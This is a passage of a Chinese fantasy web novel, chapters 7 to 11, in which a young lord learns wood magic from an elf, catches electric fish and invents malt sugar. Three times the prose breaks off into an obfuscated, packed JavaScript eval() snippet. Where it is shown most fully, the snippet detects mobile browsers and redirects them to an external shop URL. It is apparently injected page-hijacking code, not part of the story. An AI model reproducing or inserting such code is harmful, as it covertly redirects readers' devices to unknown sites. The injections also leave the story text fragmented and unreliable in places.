《[基建]异世领主成神记》 7. 第 7 章 隔天，云漠抓完兔子、下锅，照例吩咐霍莉看火，当着玛雅姨妈的面就要出门。 玛雅姨妈：“……” 得寸进尺的狡猾小家伙！ 她犹豫了一瞬，叹了口气，选择妥协，“注意不要走得太远，不然容易迷路，拿上打火石。天黑前回来，离冷水河主干远一点儿……” 这些日子的朝夕相处让玛雅进一步认识到，这个姑娘远比自己想象的更坚强，也更有主见。 她有着超越年龄的坚定意志和生存技巧，虽然不知姐姐姐夫当年到底是怎么培养的…… 但或许自己不该像普通人对待晚辈那样横加干涉。 类似提醒的话玛雅不敢说太多。 因为她也年轻过，知道年轻人心里总有点儿热烈的倔强，说得越多，反而容易激发她们的反骨。 但不说，她又实在放心不下。 云漠惊喜极了，连连点头，“我知道了，安全第一，一定早去早回！” 玛雅姨妈比她想象的更加开明，也更大胆。 这无疑是个好现象。 昨晚没下雨，也没冒出来新蘑菇，之前剩下那些都有些老了，不采也罢。 不过云漠带了点兔子下水和一个鱼篓。 鱼篓是用昨天新发现的一种深紫红色水生藤蔓编的。 这种被云漠命名为十二柱藤的植物扎根水中，却依附在水边大树上生长，表面有12根凸起的柱状棱，直径3公分左右，最矮的也有2米多。 中空，能很轻松地从中间破开，轻盈，却长有非常细密坚韧的丝状粗纤维，相当结实。 她将它们劈成约莫一指宽的片，编了个上窄下宽的筐，又在边缘处向内插入许多削尖的十二柱藤的薄片，在中央汇聚成内开口的“盖子”。 带来的生兔子肉就丢到“筐”里，肉味儿会随着水流飘出去老远。 这么一来，鱼虾能进却不能出，简易的鱼篓就做好了。 之后就等待鱼儿自投罗网了。 河对岸的植被更茂密，资源也更丰富，云漠下到草丛中仔细寻找，挑有动物啃食痕迹的野菜挖了几种。 春天，正是吃野菜的时节。 带回去挨着尝尝，如果好吃的话就尝试种植。 同时，她在林地中设下陷阱，希望能多抓几只野兔、野鸡、野鸭，甚至是更大点的动物。 老祖宗说得好，家里有粮，心里不慌，现在她们带来的面粉和土豆等存粮日益缩减，麦种却还在育苗，收成未知，云漠就很有危机感。 兔子总有抓完的一天，甚至不等抓完，它们就可能感知到危险搬家了…… 日常采集又太不稳定，总要想点法子。 前面几天她们一直在浩瀚森林之外活动，接触的多是灌木和草地，倒没觉得怎样。 可这两天云漠跨过冷水河支流，真正踏入了森林边缘地带，才终于真正意识到“浩瀚森林”名称的由来： 这片森林太大了，森林里的植被体型也太大了！ 几人合抱粗细的巨木随处可见，枝桠高耸入云，遮天蔽日……站在树下的云漠被对比的活像一颗豆芽菜。 这还只是最外围呢！ 云漠百感交集地抚摸着粗糙的树皮，精神力发散出去，刹那间，仿佛穿越岁月长河，碰触到了几十甚至上百年前的时光。 你们多大了呀？ 过去无数个日日夜夜，又曾经历了什么，见证了什么呢？ 云漠可以根据木系魔法元素的浓度判断植物健康状态，像现在这样专注时，也能感应到部分植物的情绪。 就像手下这棵大树，是平和的，平静的，宽厚的，如山，似水，让人本能地感觉到安心。 这并非某种语言的交流，更像是更深层面、更高维度的精神类感知。 云漠像交朋友那样，挨着几棵大树一一“交流”，最后意外又不那么意外的发现，即便是同一品种的大树，大家的性格也有细微的差别！ 其中有一棵树枝桠格外茂盛，性格也更外向，是今天最积极反馈的。 云漠甚至从它的回应中分辨出一点类似“欢迎”“喜悦”的意思。 哇哦，它非常友好！ 这个发现令云漠喜出望外，短暂地休息过后，又努力与对方交流，还试探着帮忙拔草。 没了可恶的杂草抢夺养分和阳光，大树更高兴了！ 云漠累坏了，也开心坏了，魔法真有趣！ 但这种兴奋在她第一次收鱼篓时荡然无存： 她被电了。 被一条圆头圆脑的鱼电了！ 其实地球上能放电的动物不在少数，比较知名的就有象鼻鱼、电鳐、电鳗等，个别威力还不小。 但这次不一样。 云漠眼睁睁看着那个球一样的灰褐色生物从网球大小膨胀成一根明亮的紫色茄子，原本安静的空气中突然浮现出许多紫色波纹，迅速向它聚集，空气中发出熟悉的“噼啪”声…… 看似漫长的过程实则只有不到两秒钟，毫无准备的云漠还没意识到自己脑袋炸毛了就被蓝紫色电流击中，整条手臂都麻了，鱼篓拿捏不住跌回水中，险些被冲走。 不过这个动作，也恰恰帮她躲开了紧随其后的另外几道电击。 她摸着仍在隐隐发麻的手臂，久久不能回神。 这不是寻常的电鳗一样的本能攻击，而是一次临时起意、临时蓄能，具有相当主观能动性，甚至可以短时间内反复实施的……魔法！ 一条鱼用魔法攻击了我！ “哈！”云漠直接因为无语笑了出来。 这听上去太荒谬了！ 不，她早该想到的。 既然精灵和人类可以掌握魔法，自然也会有别的魔法生物，不是吗？ 不太妙…… 这真的不太妙。 一条魔法鱼的威力就这么大，如果是其他体型更大的动物呢？ 会不会有会飞的老虎，能喷火的狼？ 春天要来了，动物活动必然更加频繁，如果领地中出现大型魔法生物，现在的我们能够对抗吗？ 答案不言而喻。 云漠的心立刻沉了下去。 刹那间，对于魔法的渴望压倒一切。 她虽有木系魔法元素亲和，但苦于无人指导，只能自己摸索。好像能模模糊糊捕捉到一点关键，但关键时刻却总被挡在门外，令她无比抓狂。 如果说之前云漠还能克制，告诉自己“慢慢来”，那么今天的电击彻底粉碎了这种侥幸： 危险随时可能降临，不会因为你的弱小就延迟。 她渴望力量，渴望强大！ 哪怕冒险也在所不惜。 而实际上，她的行为已在遵循本能： 云漠甩了甩仍在发麻的胳膊，面无表情瞥了眼随着水流上下浮动的鱼篓，翻身上马。 马儿像一艘小船，载着云漠在丛林海洋中穿行，迎面而来的风扬起她的碎发，周遭景物飞快地向身后掠去…… “哒哒！” “哒哒哒！” 马蹄声越来越急促，她跑得越来越远，越来越远！ 云漠知道自己的内心深处渴望着什么，也非常清楚这种行为潜在的风险，但现实所面临的困境却不得不让她冒险。 这种紧张和期待，甚至是亢奋和恐惧相交织的复杂情感紧紧缠绕着她，血脉偾张。 马匹狂奔之下的时速是马车的几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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双方都保持着相当的冷静和克制，相互打量着，审视着。 云漠脑海中疯狂划过各种有关精灵的描述，其中大多数来自近期玛雅姨妈的恶补： 好奇心重，喜欢追逐美丽闪亮的事物，因战争原因讨厌人类，但对木系魔法师除外…… 木系魔法师！ 云漠心头微动，平复下呼吸，开始召唤木系魔法元素。 果然，对面的精灵有反应了。 感应到空气中的元素波动，这只女性精灵表情明显柔和许多，上前一步，右手向前划出漂亮的弧度，手指轻轻点在左肩上，微微颔首示意。 云漠有些惊讶，眨眨眼，有样学样还礼。 精灵微笑起来，翡翠绿的双眸中波光粼粼，美得像日出时第一缕晨光照射下的露珠，令云漠一阵晕眩。 此时此刻，她终于明白，为何有人会将容貌视为一种武器。 太有冲击性了。 紧接着，精灵以实际行动表明了自己的态度和立场： 它摊开右手，露出掌心的种子，云漠看得见的绿色光点蜂拥而至，种子瞬间发芽、抽条、蜿蜒，萌出绿叶和红艳艳的小花。 不过几次呼吸，那枚干巴巴的种子就化作一个由枝叶和小花编织点缀而成的花冠！ 木系魔法！ 一切变幻都清晰地映入云漠眼底，她看得入了迷，发了痴，仿佛正在经历一场绚烂的美梦，不由沉醉。 魔法世界第一次真正向她敞开大门，如此神奇。 8. 第 8 章 云漠不光在看热闹。 透过热闹，她第一次如此清晰地见证魔法元素的流动和运作方式，也是第一次对魔法有了突飞猛进的认识，如痴如醉。 这种认识突破了她以往几十年人生的固有思维，将指引她走上一条截然不同的崭新的路。 几乎是瞬间，云漠对这只精灵的好感度拉到满格。 在此之前，她就像一只刚出生就被抛弃的小兽，空有天分却缺少长辈教导，一切全凭瞎摸索，跌跌撞撞、事倍功半。 但现在！ 来自不同种群，但拥有相同天赋的老手毫不吝啬地向她展示了真正的法门。 毫无疑问，这种帮助是巨大的，足以让她少走好多年弯路，避免许多风险。 木系魔法元素洪流汹涌澎湃，看似狂暴却循规蹈矩，短短几秒钟，带给云漠绝无仅有的震撼。 她沉浸在刚才那种玄妙又华丽的技巧中，心神激荡，久久不能回神。 可能过了很久，也可能只是一瞬，云漠从感悟中退出，颇有几分恋恋不舍。 她翻身下马，向对方微微颔首示意，真诚地表示感谢。 对面的精灵动作轻柔地为她戴上花冠。 云漠抿了抿唇，下意识用指尖轻轻摸了摸，有点难得的羞赧。 她还能感觉到花冠中蕴含的木系魔法，如此生机勃勃。 语言不通，有太多领悟无法表达，云漠的体内渐渐酝酿起一股冲动，这种冲动促使她开始笨拙地模仿。 她从地上捡起一枚不知什么植物的种子，努力回忆着方才精灵手中魔法元素的流动，竭力跟木系元素们沟通，诚恳地希望对方也可以按照既定轨迹行动。 不过种族隔阂必然会带来某些被本能忽略的巨大差异，比如精灵从不认为无声魔法是多么了不起的事，而云漠也不知道人类魔法师入门的第一步是魔咒拆分拼写…… 沟通磕磕绊绊，但她确实感受到了前所未有的能量游走，掌心也确实闪烁起比以往更加明亮、活跃的木系魔法元素流。 它们飞舞着，萦绕着，雀跃着，然后……噗一下子散了个干净。 就像漫长又华丽的前摇过后，放了个盛大又虚无的屁。 云漠：“……” 她脚趾抠地，尴尬无比，羞耻万分，不用看就知道自己的脸都红透了。 因为用力过度，脑子甚至还有点晕。 精灵却露出一种习以为常的，带点长辈式宽容的微笑。 这种微笑里包含了某种确认后的安定。 云漠大为感激，并毛骨悚然。 因为对方看上去也不比现在的自己大多少，可表情却如此和蔼，以至于配上跟云漠相差无几的年轻面容，显得尤其诡异。 好像一个二十几岁的小年轻，却非要奶奶般和蔼可亲一样。 不过联想到各种传说中精灵非凡的属性，云漠又释然了。 说不定在这位长生种眼中，自己还真就是个宝宝。 事实上，云漠一行三人到密林的那一刻就被精灵们发现了。 植物是精灵的战友和伙伴，对精灵而言，这片浩瀚的森林海洋就是衍生的手、眼睛、耳朵，每一阵穿林过叶的风，每一阵茎叶的摇曳，都会传递各种讯息。 精灵们对森林的一切了如指掌。 这是一股全然陌生的气息，忽然出现在阿索城边缘，立刻引起精灵巡逻小队的注意。 阿索城，人类罪恶的酝酿之地和卑劣见证，无数精灵心目中永恒的邪恶。 那种地方忽然住了陌生人，身为巡视小队长的银星义不容辞，亲自前来侦察。 大多数精灵都很讨厌人类，认为他们贪婪无度、欺诈成性，双方曾有世仇，一度不死不休。 每一位精灵都自带木系魔法元素亲和，八成以上可以顺利成长为强大的魔法师。它们是生命女神和自然女神的宠儿，其他种族万、几十万中无一的魔法师，在这个种群中比比皆是。 除此之外，精灵还拥有极其轻盈敏捷的身手，出色的视力…… 按理说，这样的种族和人类发生冲突时，后者应当一败涂地，但……人类太能生了，成长也太迅速了。 自降生之日起到能上场进行战斗，人类只需要短短的十几年，但精灵族200岁才算成年，而且出生率感人。 同样因为生命女神的眷顾，人类之中也稀稀拉拉诞生出一批拥有斗气的强者，可以与魔法师相抗衡…… 已经沉寂了几十年的阿索城瞭望塔忽然有了人类活动，银星需要确定对方是否在酝酿新一场阴谋，是否会侵入精灵领地。 但很快银星就惊讶地发现，其中一个竟然是拥有木系魔法元素亲和的人类幼崽！ 这个发现直接改变了精灵对这伙人的定位和态度。 在诸多人类种族之中，唯有一种可以毫不费力地获取来自精灵的好感，如果足够幸运，她们甚至可能与精灵族发展出一段感天动地的友谊： 木系魔法师。 精灵一族认为木系魔法元素是世界上最纯净最直白的元素，所以能获得木系魔法元素青睐的人类，也必然拥有一颗人类世界罕见纯净而正直的心灵。 但人类对魔法师的看重银星心知肚明，拥有如此天赋和资质的人类，又怎么会出现在这里呢？ 经过深入观察，银星发现那名幼崽天赋惊人，但对元素运行并不熟悉，应该是最近刚刚觉醒。 哦，银星想到了很多东西。 作为参与过种族混战的老兵，银星熟知人类本性，对人类内部历久弥新的各种斗争、暗算了如指掌。 很快，银星就自动“推理”出一段人类世界特有的，充斥着血腥残暴和卑鄙诡计的阴谋历史。 而这名幼崽，自然是落败一方的幸存者。 总而言之，银星正在权衡什么时候出去与对方打声招呼时，就发现对方仿佛受了什么刺激，开始朝着冷水河主干方向狂奔。 惊讶之余，银星也生出一点细微的担忧。 是的，精灵一族甚至偶尔会把木系魔法师当成半个同胞，给予非常无私的帮助和呵护。 成长起来的魔法师无不拥有毁天灭地的强大力量，经过魔法元素改造的身体也会让她们拥有长达数百年的生命，算半个长生种。 眼下人类和精灵一族正处于微妙的平衡，任何一颗新星的崛起和细微敏感的倾向，都可能在未来影响两个族群的发展。 而银星眼前刚好就有一只受困于人类内部斗争，被抛弃被流放的可怜幼崽…… 所以银星出现了，并毫不吝啬地释放了善意。 “我遇到了精灵。” 下午回家后，云漠一脸平静地向玛雅姨妈和霍莉释放了巨型炸弹。 紧接着，在玛雅姨妈和霍莉此起彼伏的倒吸气和疯狂变换的神色中，她讲述了 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因为她们的祖辈、父辈都经历过残酷的战争，不论起因为何，谁是谁非，确实有无数人类命丧精灵之手，对精灵心存芥蒂在所难免。 云漠不同。 她是外来者，是局外人，说得好听一点叫“旁观者清”，能够理性冷静克制地看待问题；说得不好听一点，她对这个时空的人类没有感情，原主又遭受同类恶意，很难产生归属感。 但云漠不会因此强行要求别人一定与自己共进退。 那不公平。 “姨妈，我来做好吃的吧！” 云漠决定用新的美味开启新篇章。 告别精灵回来的路上，云漠惊讶地发现那只鱼篓竟然没被水冲走！ 非但没冲走，反而又钻进来几条！ 兴奋之余，云漠也没好了伤疤忘了疼： 她找了一根特别长的干树枝，伸长了胳膊，隔着老远将鱼篓拨弄上岸，等里面的鱼“噼里啪啦”放完电，干死了才上手拿。 数了数，足足七条！ 这种被云漠命名为“电球鱼”的小东西身体柔软，体表并没有特别坚硬的保护层，鱼鳞也非常细密，轻轻一刮就掉光了。 也就是说，电球鱼本身的物理防御并不高，主打一个“电击突袭”。 只要等它们把能量耗光，就是一团任人宰割的肉。 大约是自带高温杀菌手段的关系，电球鱼体内没有任何寄生虫，非常干净，而且脂肪层很厚，肉质紧实鲜美。 虽然是淡水鱼，但腥味很小，只需要一点点盐和姜就能鲜掉舌头。 这样品质的鱼肉，重口味的烹饪方式反而辱没了它。 云漠考虑了下，将其中三条清蒸，三条香煎。 没有油，就用电球鱼本身的脂肪，在锅底微火煎出薄薄一层，在表面形成浅金色的壳。 最后一条先煎，然后加水炖煮，就能在三分钟之内得到一锅雪白的鱼汤。 不能煮太久，不然鱼肉就不鲜嫩了。 出锅前加入翠绿的野菜，色香味俱全。 再加上红焖兔肉，今天菜品数量再创新高，足足有四个！ 三人吃得头都不抬，接力一样将所有餐具擦得雪亮，一滴汤都没放过。 9. 第 9 章 这天夜里，云漠被空前的亢奋支配，毫无睡意。 她躺在床上，大脑彻底失控，不断回放着白天精灵释放魔法的每一个细节，然后反复练习。 如果有同样具备木系魔法元素亲和的生物在场就会发现，周遭的木系魔法元素空前活跃，随着云漠的不断尝试循环往复，几乎形成一道道元素潮汐。 这个被云漠临时命名为【催生】的魔法太有用了！ 天气寒冷，城堡阴森，麦芽催发并不顺利。 而且她们之前没有任何耕种的经验，后期该如何照料庄稼？ 但如果她能使用魔法，就能实现弯道超车，彻底解决粮食危机！ 云漠一夜未眠，精神却格外好。 昨天菜品太过丰盛，还剩下许多，正好当作早餐。 云漠破天荒第一个起床，当然，因为她根本就没睡，将昨晚剩的鱼汤和红焖兔肉热了。 大家一起用过早饭，稍后例行狩猎野兔时，云漠也分外积极。 玛雅姨妈和霍莉对视一眼，“去吧。” 云漠一怔。 玛雅姨妈走过来，温柔地替她整理下散乱的鬓发，“你很想学习魔法，不是吗？要知道，机会可不等人。” 霍莉也点头，憨笑道：“虽然可能我的手艺不如您好，但学了这些天也大有进步呢！做饭的事儿就交给我吧！” 谁也不敢保证精灵的善意会持续多久，万一是一时心血来潮呢？ 但知识不同，学到了就是学到了。 云漠必须抓住每一个可能抓住的机会。 玛雅姨妈也曾担心过是不是圈套。 可转念一想，以她们如今的处境，精灵想下手还用得着拐弯抹角么？ 难以言说的温暖将云漠包裹。 她用力吸了口气，再缓缓吐出，上前狠狠给了她们一个拥抱，“谢谢。” “不，孩子，”玛雅姨妈轻声说，“是我们要谢谢你。” 谢谢你愿意冒这么大的风险。 云漠眨眨眼，“我可是领主啊。” 总不能白担这个名头！ 大家都笑起来。 云漠出发了，带着鱼篓、一整套餐具和一点珍贵的调料。 世上一切关系都需要维护，如果今天还能见到那位精灵，她一定要做出实质性的感谢。 奈何现在的她空有领主的名头，实则身无分文，那么能回报的，似乎只有尽心烹饪一顿佳肴了。 好在，一切顺利！ 云漠再次得到了对方的指点，并为对方做了一顿全鱼宴。 因为今天有了准备，云漠先后下了两笼，捉到将近二十条电球鱼，所以又加了一道“香煎黑胡椒鱼排”。 雪白的鱼肉上撒一点黑胡椒碎末，淡淡的辛辣更添风味。 盘子边缘是一团用野菜和调味料熬的绿色蘸酱，色彩丰富而明快。 野菜是昨天发现的新品种，味道很像韭菜，云漠就叫它野韭菜了，今天也准备多摘一点回去。 好多老了的开花、抽苔，云漠也不打算放过，正好熬成韭花酱，最能压制肉类腥臊味。 银星很喜欢。 云漠开始主动学习精灵语，这无疑进一步提升了银星对她的好感，魔法教学时态度更温和了。 双方似乎在无声中达成了某种默契： 每天用过早饭，云漠就会骑马近一个小时来学习魔法，学费是一顿精心烹制的午餐。 午饭后精灵喜欢休息一下，然后云漠就会趁这个间隙学习精灵语…… 几天下来，云漠对于捕鱼一事已相当得心应手。 她进一步延长了鱼篓绑绳，又戴了皮毛手套，配合干燥的长木棍拽起鱼篓就往远处河滩上甩，基本可以避免七成以上的电击。 挨电击次数多了，她的身体产生了抗体，最初一次电击就能让一条手臂麻痹大约5分钟，现在好像3分钟就行动自如了。 简直可喜可贺。 奈何电球鱼这种生物不仅会魔法攻击，还具有相当的智慧，甚至拥有某种特定的通讯方式。 最初那几天，云漠次次不落空，三两个小时就能吃个肚儿圆。到了后面就成了一次两三只，只能偶尔网到一条或者两条嘴馋的犟种鱼了。 当然不是云漠把它们捞绝种了，水里分明有很多此起彼伏的电流，但是不上钩。 它们对鱼篓里面的美味视而不见，老远看见鱼篓就退避三舍，宁肯绕远路绕着走，也不愿意靠近碰一下。 云漠深以为憾。 好在这里的春天雨水丰富，隔三岔五就会下雨，然后云漠就可以采蘑菇。 依靠这种手段，云漠迅速将常见的五种蘑菇和四种野菜加入日常三餐豪华阵营。 那些蘑菇圈一个接一个，一次性长出来的根本吃不完，放着就老了，平白浪费，云漠她们便会将长得好的通通摘下来烘干，用油纸包裹后做腊封。 只要外包装不被破坏，完全可以保存到冬天，丰富她们的餐桌。 其中口味酷似香菇的浅灰粉色花脸圆头大蘑菇，以及拥有灰绿色条棱花纹的早春野菜最为常见，为了方便记忆，云漠分别将其命名为粉花菇和野韭菜。 粉花菇喜欢生长在低矮灌木下的腐殖质层上，而野韭菜喜欢相对干燥一点的树荫，数量最多。 还有一种味道像野蒜和野荠菜的，统统拿下！ 靠山吃山，靠水吃水，这话一点都不错。 前后不过短短七天，三人一精的生活水平就直线上升。 最受欢迎的是外形像杏鲍菇的白蘑菇，很有嚼劲，味道异常鲜美。 可惜它生长异常迅速，往往前一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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箭矢是一种对工艺要求相当严苛的消耗品，简单的构造中，任何一点微小的不匀称都会影响射程和准头。 但精灵们就敢往上面雕花，偶尔附魔，用起来也不觉得心疼。 看得出来，它们真的很闲了。 熟悉之后，云漠就发现精灵的性格非常直白可爱，喜欢的就会主动争取，不喜欢的，也会第一时间表现出强烈的讨厌。 这无疑让双方的沟通更顺利了。 比如黑胡椒香煎鱼排、酸甜口的鱼肉浓汤，精灵就很喜欢； 而绿褐色的气味浓烈的韭花酱，精灵就恨不得退避三舍。 10. 第 10 章 所谓魔法，就是魔法师调动自身精神力与外界中游离的魔法元素产生共鸣，进行某种特定“契约”后产生的效果。 经过仔细观察，云漠发现银星每次使用不同魔法时，魔法元素的运转路线、反应方式都不同，便私下里将其称之为“回路”。 这个发现非常有趣，直接将魔法衍变为理科题目，瞬间接地气了许多。 其中每位魔法师特定时间内的精神力和可以调动的魔法元素是已知的、固定的，只要代入不同公式，就能得出不同的结果。 所以云漠立刻就认清了自己的首要任务： 增强精神力。 如果魔法师本人是一辆车，那么油箱大小直接决定了精神力的上限，也决定了同样能耗下车子能跑多远，能玩多少花活儿，至关重要。 而精神力的强弱多寡，又直接影响木系魔法元素的回应速度和共鸣程度。 之前自己瞎摸索时云漠就发现了，银星也正面回答了，精神力确实可以通过不断修行提升。 理论上来说，只要魔法师身心健康，消耗速度控制在合理范围内，本人就是一台永动机。 而“修行”没有捷径，就是多用多练多实践。 这无疑是世上最枯燥乏味，也最没有成就感的活儿。 但自始至终，云漠都没有过一丝浮躁。 她始终坚信，只有地基打好了，才能建起高楼大厦。 跟随银星求学的第五天，刚下过雨，云漠甚至成功跟一棵树沟通！ 不再是单纯的情绪，而是清晰的语言。 虽然只是一瞬间，但她确实接收到了对方的碎嘴子： “好无聊啊好无聊啊好无聊啊……” 云漠觉得有趣极了，休息了会儿又试着沟通。 大树：“喝好饱啊喝好饱啊喝好饱啊……” 木系魔法就像一门外语，构建起云漠和植物们之间跨物种的沟通桥梁。 哈哈，魔法真好！ 我爱魔法！ 不过据精灵说，并非所有的植物都能直接与魔法师本人沟通，这大概跟不同物种间的“外语天赋”有关。 但不同种类的植物之间沟通无障碍。 云漠瞬间抓住重点： 也就是说，其实只要找到一种传声筒，就等于拥有了无限消息来源？ 这可真不错！ 她本身就是个非常善于研究和总结的人，落在银星眼中便是天赋突出，善于举一反三。 于是原本的一时兴起中不免也多了几分真心。 云漠的魔法水平进步惊人。 又两天后，她已经可以初步催发麦芽了！ 只是精神力储备有限，与魔法元素沟通也远不如精灵流畅，一次最多只能催生四株麦芽。 亲眼见证的玛雅姨妈和霍莉又叫又跳又笑，高兴得活像见证奇迹。 云漠被她们搞得有点不好意思，摸摸鼻子，“比精灵可差远啦。” 精灵可以毫不费力地催动种子，瞬间完成一次生命循环，但她还只能停留在发芽的阶段。 “哦，孩子，”玛雅姨妈搂着她不断亲吻、鼓励，“千万不要这么想，要知道大多数魔法元素亲和者至死都做不到这样呢！” 而且人类哪儿能跟精灵比呀！ 然后玛雅姨妈终于发现了一点不对劲：这孩子使用魔法前没吟唱！ 云漠茫然：“啊？需要吟唱的吗？” 老师也妹教啊！ 霍莉想得很开，“嗨，人类魔法师能有精灵厉害吗？反正小姐的学习进展也很顺利不是吗？” 玛雅姨妈一听，对哦。 不管了！ 云漠还从带来的种子里发现了原始大米。 本地并不盛产大米，这些也是外来的，一般被贵族用来做米布丁，曾风靡一时。 大米种子也是那个时候重金购入的。 但因为气候关系，本国空有种子却种不出来，算是一笔窝囊糊涂账，就被人胡乱塞给云漠充数。 现在倒是意外之喜了。 现在云漠恨不得睡觉都在练习魔法。 她从原本的种子里选了几颗最强壮的，催生出新的麦子和大米，然后再从中选择生命力最旺盛的，再催生…… 如此循环往复，她在短短几天之内就实现了初步的品种改良。 虽然距离杂交还有相当的差距，但保守估计，产量起码能翻一番，达到亩产250斤左右了。 这个好消息让玛雅姨妈和霍莉都惊喜不已。 多么惊人的产量啊！ 饿不死了！ 霍莉不禁感慨，“精灵真好啊！” 教导自家小姐这样不遗余力。 玛雅姨妈一时百感交集。 云漠也对这位精灵老师充满感激。 对方确实尽心尽力，丝毫没有因为种族隔阂而有所偏见。 当然，她觉得一方面是因为精灵对木系魔法师的天然亲近感，另一方面，也是最根本的原因： 强大的自信。 这一切都建立在精灵对己方实力的绝对自信上。 精灵们深信，哪怕曾经的人类朋友叛变，也绝不可能对精灵国度造成实质性威胁…… 云漠决定做点好吃的庆祝一下。 日子苦，难免渴望甜。 现在虽然已经有了原始的植物炼糖方法，但一来植物品种原始，含糖量不高；二来炼糖的手法也比较落后，总体产量极低，非常珍贵。 这直接导致糖在非常漫长的历史中都属于奢侈品，大部分都只来源于蜂巢。 云漠一行带的糖也只有一小罐，炖兔肉时都恨不得用天平称了再放…… 但现在，她们将迎来新的甜味来源：麦芽糖。 在魔法的帮助下，麦芽很快催发完成，云漠将它们和泡好的大米适度熬煮、发酵，顺利得到了一锅粘稠的深黄色糖浆。 不同于蜂蜜，麦芽糖的甜是非常纯粹的甜，而且因为出自粮食，不像蜂蜜那样尖锐。 整座城堡都被浓郁的甜香覆盖了，美好得如同一场梦境。 霍莉贪婪地嗅了几口，觉得自家小姐简直施展了神迹： 就是一点绿色的麦苗和难吃的米粒而已，动动手指，竟然就变成了珍惜而昂贵的糖浆？！ 这么大一罐子！ 在外面都够换一匹骏马了！ 天气还有些冷，糖浆冷却很快。 云漠先搅出三根麦芽糖，递给玛雅姨妈和霍莉一人一根，自己也咬一根。 玛雅姨妈欣喜地道谢，看着手中迅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13202922|139219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 速凝固的糖块啧啧称奇，“多美的颜色呀，简直像琥珀一样。” 霍莉忍不住吞了下口水，拼命晃着双手，不敢接。 “不不，小姐，这太贵重了……” 这么一大块晶莹剔透的糖果，便是王室成员也不会轻易赏赐给仆人的。 “还有好多呢。”云漠大笑，“以后我们再也不用为糖发愁了。相信我，总有一天你会吃到看见就想吐。” 霍莉扭捏着接了，听了这话却将脑袋甩成波浪鼓，“不会的！” 怎么可能有人对糖厌烦呢！ 很多中等人家生病都未必喝得上一口糖水呢。 小姐真会说笑。 小姐对我真好，嘿嘿。 她小心翼翼地捧着那根麦芽糖，口中迅速分泌出唾液，忍了又忍，到底没忍住，飞快地舔了一下。 空前厚重的甜蜜味道瞬间充斥了她的唇舌，整个人都飘飘然起来！ 霍莉简直要幸福得昏死过去！ 但她不舍得多吃，又舔了几下后便小心地用干净叶片包裹起来，塞进围裙上的大口袋里。 好东西要省着吃！ 赶在麦芽糖浆完全凝固之前，云漠将它们倒在洗刷干净的石板上，压平、凉透，切成手指肚大小的糖块，然后一一用树叶包裹，准备明天带点给精灵老师尝尝。 睡觉之前，云漠又熬了一罐子，将白天剩下的一只生兔子腌制起来，准备明天烤个新口味。 剩余的糖浆除了压糖块之外，也正式尝试了拉糖。 拉糖是个技术活儿，如果能成功，就可以延伸出诸如糖瓜、芝麻糖棍儿、龙须酥等中高端甜品。 但是好难啊！ 糖浆放凉就会变硬，一拉就断，可如果趁热，就很烫！ 这就要求参与者的动作矫健而迅捷。 云漠一开始是想自己干的，但是拉了几下之后就发现在绝对的力量面前，技术不值一提。 她这个炉柴杆儿一样的小细胳膊拽半天都不如霍莉的大膀子拉一下。 终于等到了这份非自己不可的活儿，霍莉激动得不要不要的。 放着我来！ 霍莉干了几把就浑身冒汗，索性把外衣脱了，露出两截结实的臂膀。 流畅的肌肉线条被汗水打湿，在火光照耀下闪闪发亮，充满了最纯粹的力与美，漂亮极了。 有霍莉的加入，云漠终于收货了第一批真正意义上的糖瓜： 麦芽糖在反复拉扯中混入了大量空气，变得雪白酥脆，口感极佳。 玛雅姨妈赞不绝口。 云漠含着糖瓜笑，“以后有机会就把这个做成本地的特产吧！” 本本分分种地是没有出路的，她需要建立人无我有的支柱型产业。 反正不管云漠说什么做什么，霍莉都是“小姐说得对”“小姐干得好”“小姐真棒”，主打一个无脑狂吹。 但玛雅姨妈却想到了另一层，当即信心十足道：“完全可行！” 她也是过过好日子的，别说本国，就是那些最强大的国家，也没有纯度和甜度这么高的糖果！ 热糖浆具有流动性，完全可以根据喜好和需求打造不同的造型。 只是不管木棍还是树叶，包装都太过简陋了，需要好好琢磨…… 11. 第 11 章 次日，云漠特意选了最漂亮的一批麦芽糖块和糖瓜，用干净宽大的叶片包裹起来，当作礼物送给精灵。 甜蜜的气息充满口腔，精灵的尖耳朵迅速抖了抖，明亮的双眸中流淌出快乐。 云漠也被这份快乐感染。 好吧，谁不喜欢甜甜的糖果呢？ 精灵愉快地接受了这份好意，并第一时间抛弃外包装，将胖乎乎的可爱糖果们转移到一个细长的镶嵌着美丽绿宝石的小银罐子里。 罐子外壁刻满了线条优美的藤蔓、树叶和花朵，与漂亮的精灵十分搭配。 最后，那只银罐子被小心地悬挂到精灵腰间，与心爱的短刀挨着，行动间摇摇晃晃。 午间休息时，气氛格外松弛美好，云漠又学了几个新的精灵词语，也第一次知道了自家老师的名字：银星。 这个名字的由来并非天上星辰，而是源自精灵栖息地中一种特有的小花，因其盛开时，花瓣上会出现银色星斑而得名。 来到领地的第十三天，家庭成员增加： 两只野鸡。 是玛雅姨妈先发现的。 那天她正出门寻找合适的编织材料，突然就发现了前方草丛中一闪而过的绚丽尾羽。 从她们来到这里之后，就下大力气清理了附近的草丛，一部分被马儿吃掉，一部分用做燃料，另一部分沤肥。 